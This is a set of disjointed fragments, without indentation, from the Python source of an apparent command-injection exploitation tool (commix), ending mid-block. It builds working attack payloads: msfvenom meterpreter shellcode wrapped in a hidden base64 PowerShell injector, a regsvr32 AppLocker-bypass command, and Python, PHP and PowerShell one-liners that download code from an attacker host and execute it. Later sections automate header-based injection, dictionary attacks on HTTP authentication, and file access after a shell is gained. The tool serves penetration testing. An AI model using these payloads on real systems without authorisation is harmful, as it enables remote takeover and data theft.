print(settings.SINGLE_WHITESPACE)
break
# Powershell injection attacks
elif other_shell == '11':
if not settings.TARGET_OS == "win":
windows_only_attack_vector()
continue
else:
while True:
windows_reverse_shell = _input(
"""
---[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" +
Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
"""' to use shellcode injection with native x86 shellcode.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
"""' to use TrustedSec's Magic Unicorn.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
"""' to use Regsvr32.exe application whitelisting bypass.
\ncommix(""" + Style.BRIGHT + Fore.RED +
"""windows_meterpreter_reverse_tcp""" +
Style.RESET_ALL + """) > """)
if any(option in windows_reverse_shell.lower()
for option in settings.SHELL_OPTIONS):
if shell_options(windows_reverse_shell):
return shell_options(windows_reverse_shell)
elif windows_reverse_shell == '1':
output = "powershell_attack.rc"
elif windows_reverse_shell == '2':
output = "powershell_attack.txt"
elif windows_reverse_shell == '3':
output = "regsvr32_applocker_bypass_server.rc"
else:
err_msg = "The '" + windows_reverse_shell + "' option, is not valid."
print(settings.print_error_msg(err_msg))
continue
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "windows/meterpreter/reverse_tcp"
# Shellcode injection with native x86 shellcode
if windows_reverse_shell == '1':
gen_payload_msg(payload)
try:
proc = subprocess.Popen(
"msfvenom -p " + str(payload) + " LHOST=" +
str(settings.LHOST) + " LPORT=" +
str(settings.LPORT) + " -f c -o " + output +
">/dev/null 2>&1",
shell=True).wait()
with open(output, 'r') as content_file:
repls = {
';': '',
' ': '',
'+': '',
'"': '',
'\n': '',
'buf=': '',
'\\x': ',0x',
'unsignedcharbuf[]=': ''
}
shellcode = reduce(
lambda a, kv: a.replace(*kv),
iter(repls.items()),
content_file.read()).rstrip()[1:]
# One line shellcode injection with native x86 shellcode
# Greetz to Dave Kennedy (@HackingDave)
powershell_code = (
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}"""
% (shellcode))
other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(
powershell_code.encode('utf_16_le'))
print(settings.SINGLE_WHITESPACE)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " +
str(settings.LHOST) + "\n"
"set lport " +
str(settings.LPORT) + "\n"
"exploit\n\n")
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# TrustedSec's Magic Unicorn (3rd Party)
elif windows_reverse_shell == '2':
try:
current_path = os.getcwd()
try:
unicorn_path = os.path.abspath(
os.path.join(os.path.dirname(__file__),
'../../',
'thirdparty/unicorn'))
os.chdir(unicorn_path)
# Check for Unicorn version.
with open('unicorn.py') as unicorn_file:
for line in unicorn_file:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
unicorn_version = line.replace(
"Magic Unicorn Attack Vector v",
"").replace(" ", "").replace(
"-",
"").replace("\"",
"").replace(
")", "")
break
except:
unicorn_version = ""
update.check_unicorn_version(unicorn_version)
try:
if len(unicorn_version) == 0:
unicorn_path = os.path.abspath(
os.path.join(os.path.dirname(__file__),
'../../',
'thirdparty/unicorn'))
os.chdir(unicorn_path)
gen_payload_msg(payload)
subprocess.Popen(
"python unicorn.py" + " " + str(payload) +
" " + str(settings.LHOST) + " " +
str(settings.LPORT) + ">/dev/null 2>&1",
shell=True).wait()
with open(output, 'r') as content_file:
other_shell = content_file.read().replace(
'\n', '')
other_shell = _urllib.parse.quote_plus(
other_shell)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file
os.remove(output)
with open("unicorn.rc", 'w+') as filewrite:
filewrite.write(
"use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) +
"\n"
"set lport " + str(settings.LPORT) +
"\n"
"exploit\n\n")
msf_launch_msg("unicorn.rc")
# Return to the current path.
os.chdir(current_path)
except:
continue
except:
print(settings.SINGLE_WHITESPACE)
break
# Regsvr32.exe application whitelisting bypass
elif windows_reverse_shell == '3':
with open(output, 'w+') as filewrite:
filewrite.write(
"use exploit/windows/misc/regsvr32_applocker_bypass_server\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"set srvport " + str(settings.SRVPORT) + "\n"
"set uripath " + settings.URIPATH + "\n"
"exploit\n\n")
if not settings.TARGET_OS == "win":
windows_only_attack_vector()
continue
else:
other_shell = "regsvr32 /s /n /u /i:http://" + str(
settings.LHOST) + ":" + str(
settings.SRVPORT
) + settings.URIPATH + ".sct scrobj.dll"
msf_launch_msg(output)
break
break
# Web delivery script
elif other_shell == '12':
while True:
web_delivery = _input(
"""
---[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" +
Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
"""' to use Python meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
"""' to use PHP meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
"""' to use Windows meterpreter reverse TCP shell.
\ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL +
""") > """)
if any(option in web_delivery.lower()
for option in settings.SHELL_OPTIONS):
if shell_options(web_delivery):
return shell_options(web_delivery)
elif web_delivery == '1':
payload = "python/meterpreter/reverse_tcp"
elif web_delivery == '2':
payload = "php/meterpreter/reverse_tcp"
elif web_delivery == '3':
payload = "windows/meterpreter/reverse_tcp"
else:
err_msg = "The '" + web_delivery + "' option, is not valid."
print(settings.print_error_msg(err_msg))
continue
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
if 'payload' in locals():
output = "web_delivery.rc"
with open(output, 'w+') as filewrite:
filewrite.write(
"use exploit/multi/script/web_delivery\n"
"set target " + str(int(web_delivery) - 1) + "\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"set srvport " + str(settings.SRVPORT) + "\n"
"set uripath " + settings.URIPATH + "\n"
"exploit\n\n")
if web_delivery == '1':
data = "; r=_urllib.request.urlopen('http://" + str(
settings.LHOST) + ":" + str(
settings.SRVPORT
) + settings.URIPATH + "'); exec(r.read());"
data = base64.b64encode(data)
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
else:
other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
msf_launch_msg(output)
break
elif web_delivery == '2':
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(
settings.LHOST) + ":" + str(
settings.SRVPORT
) + settings.URIPATH + "'));"
else:
other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(
settings.LHOST) + ":" + str(
settings.SRVPORT
) + settings.URIPATH + "'));\""
msf_launch_msg(output)
break
elif web_delivery == '3':
if not settings.TARGET_OS == "win":
windows_only_attack_vector()
continue
else:
other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(
settings.LHOST) + ":" + str(
settings.SRVPORT
) + settings.URIPATH + "');"
msf_launch_msg(output)
break
break
# Check for available shell options
elif any(option in other_shell.lower()
for option in settings.SHELL_OPTIONS):
if shell_options(other_shell):
return shell_options(other_shell)
# Invalid option
else:
err_msg = "The '" + other_shell + "' option, is not valid."
print(settings.print_error_msg(err_msg))
continue
return other_shell
def estimate_response_time(url, timesec):
stored_auth_creds = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Estimating the target URL response time. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
# Check if defined POST data
if menu.options.data:
request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING))
else:
url = parameters.get_url_part(url)
request = _urllib.request.Request(url)
headers.do_check(request)
start = time.time()
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
response.read(1)
response.close()
except _urllib.error.HTTPError as err:
ignore_start = time.time()
if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
pass
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
err_msg = "Unable to connect to the target URL"
try:
err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += " (" + str(err) + ")."
print(settings.print_critical_msg(err_msg))
# Check for HTTP Error 401 (Unauthorized).
if str(err.getcode()) == settings.UNAUTHORIZED_ERROR:
try:
# Get the auth header value
auth_line = err.headers.get('www-authenticate', '')
# Checking for authentication type name.
auth_type = auth_line.split()[0]
settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower())
# Checking for the realm attribute.
try:
auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups()
realm = auth_obj[1].split(',')[0].replace("\"", "")
except:
realm = False
except ValueError:
err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") "
err_msg += "is not yet supported."
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
except IndexError:
err_msg = "The provided pair of " + str(menu.options.auth_type)
err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'"
err_msg += " seems to be invalid."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.auth_type and menu.options.auth_type != auth_type.lower():
if checks.identified_http_auth_type(auth_type):
menu.options.auth_type = auth_type.lower()
else:
menu.options.auth_type = auth_type.lower()
# Check for stored auth credentials.
if not menu.options.auth_cred:
try:
stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower())
except:
stored_auth_creds = False
if stored_auth_creds and not menu.options.ignore_session:
menu.options.auth_cred = stored_auth_creds
info_msg = "Identified a previously stored valid pair of credentials '"
info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'."
print(settings.print_bold_info_msg(info_msg))
else:
# Basic authentication
if menu.options.auth_type == "basic":
if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
warn_msg = menu.options.auth_type.capitalize() + " "
warn_msg += "HTTP authentication credentials are required."
print(settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > "
do_update = _input(settings.print_question_msg(question_msg))
else:
do_update = ""
if len(do_update) == 0:
do_update = "Y"
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm)
if auth_creds != False:
menu.options.auth_cred = auth_creds
settings.REQUIRED_AUTHENTICATION = True
break
else:
raise SystemExit()
elif do_update in settings.CHOICE_NO:
checks.http_auth_err_msg()
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + do_update + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
# Digest authentication
elif menu.options.auth_type == "digest":
if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
warn_msg = menu.options.auth_type.capitalize() + " "
warn_msg += "HTTP authentication credentials are required."
print(settings.print_warning_msg(warn_msg))
# Check if heuristics have failed to identify the realm attribute.
if not realm:
warn_msg = "Heuristics have failed to identify the realm attribute."
print(settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > "
do_update = _input(settings.print_question_msg(question_msg))
else:
do_update = ""
if len(do_update) == 0:
do_update = "Y"
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm)
if auth_creds != False:
menu.options.auth_cred = auth_creds
settings.REQUIRED_AUTHENTICATION = True
break
else:
raise SystemExit()
elif do_update in settings.CHOICE_NO:
checks.http_auth_err_msg()
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + do_update + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
checks.http_auth_err_msg()
else:
raise SystemExit()
ignore_end = time.time()
start = start - (ignore_start - ignore_end)
except socket.timeout:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
err_msg = "The connection to target URL has timed out."
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
except _urllib.error.URLError as err_msg:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + "."))
raise SystemExit()
except ValueError as err_msg:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
print(settings.print_critical_msg(str(err_msg) + "."))
raise SystemExit()
end = time.time()
diff = end - start
if int(diff) < 1:
if settings.VERBOSITY_LEVEL != 0 and stored_auth_creds == False:
print(settings.SPACE)
url_time_response = int(diff)
if settings.TARGET_OS == "win":
warn_msg = "Due to the relatively slow response of 'cmd.exe' in target "
warn_msg += "host, there may be delays during the data extraction procedure."
print(settings.print_warning_msg(warn_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SPACE)
url_time_response = int(round(diff))
warn_msg = "The estimated response time is " + str(url_time_response)
warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause"
if url_time_response >= 3:
warn_msg += " serious"
warn_msg += " delays during the data extraction procedure"
if url_time_response >= 3:
warn_msg += " and/or possible corruptions over the extracted data"
warn_msg += "."
print(settings.print_bold_warning_msg(warn_msg))
if int(timesec) == int(url_time_response):
timesec = int(timesec) + int(url_time_response)
else:
timesec = int(timesec)
# Against windows targets (for more stability), add one extra second delay.
if settings.TARGET_OS == "win" :
timesec = timesec + 1
return timesec, url_time_response
def configure_reverse_tcp(separator):
# Set up LHOST for the reverse TCP connection
while True:
option = _input("""commix(""" + Style.BRIGHT + Fore.RED +
"""reverse_tcp""" + Style.RESET_ALL + """) > """)
if option.lower() == "reverse_tcp":
warn_msg = "You are already into the '" + option.lower(
) + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
if option.lower() == "?":
menu.reverse_tcp_options()
continue
if option.lower() == "quit":
raise SystemExit()
elif option.lower() == "os_shell" or option.lower() == "back":
settings.REVERSE_TCP = False
break
elif option.lower() == "bind_tcp":
settings.BIND_TCP = True
settings.REVERSE_TCP = False
break
elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0:
break
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "lhost ":
if check_lhost(option[10:]):
if len(settings.LPORT) == 0:
pass
else:
break
else:
continue
elif option[4:10].lower() == "rhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option."
print(settings.print_error_msg(err_msg))
continue
elif option[4:10].lower() == "lport ":
if check_lport(option[10:]):
if len(settings.LHOST) == 0:
pass
else:
break
else:
continue
elif option[4:12].lower() == "srvport ":
check_srvport(option[12:])
elif option[4:12].lower() == "uripath ":
check_uripath(option[12:])
else:
err_msg = "The '" + option + "' option, is not valid."
print(settings.print_error_msg(err_msg))
pass
else:
err_msg = "The '" + option + "' option, is not valid."
print(settings.print_error_msg(err_msg))
pass
# eof
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results. "
print(settings.print_info_msg(info_msg))
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = fb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = _urllib.request.Request(output)
headers.do_check(request)
# Evaluate test results.
output = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
html_data = output.read()
shell = re.findall(r"" + TAG + "", str(html_data))
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0:
percent = settings.info_msg
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
raise _urllib.error.HTTPError(url, 404, 'Error', {}, None)
except _urllib.error.HTTPError as e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries) and no_result == True :
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print(settings.SPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
tmp_upload = _input(settings.print_question_msg(question_msg))
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "Y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print(settings.SPACE)
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
continue
else:
if exit_loops == False:
if settings.VERBOSITY_LEVEL == 0:
if str(float_percent) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(float_percent) + "%)"
else:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except _urllib.error.URLError as e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": "," (") + ")."
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SPACE)
print(settings.print_critical_msg(err_msg))
# Provide custom server's root directory.
custom_web_root(url, timesec, filename, http_request_method, url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL != 0 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
info_msg += " " + http_request_method
info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# print(settings.SPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL != 0 and new_line:
print(settings.SPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print(settings.SPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again= "Y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print(settings.SPACE)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print(settings.SPACE)
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print(settings.SPACE)
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
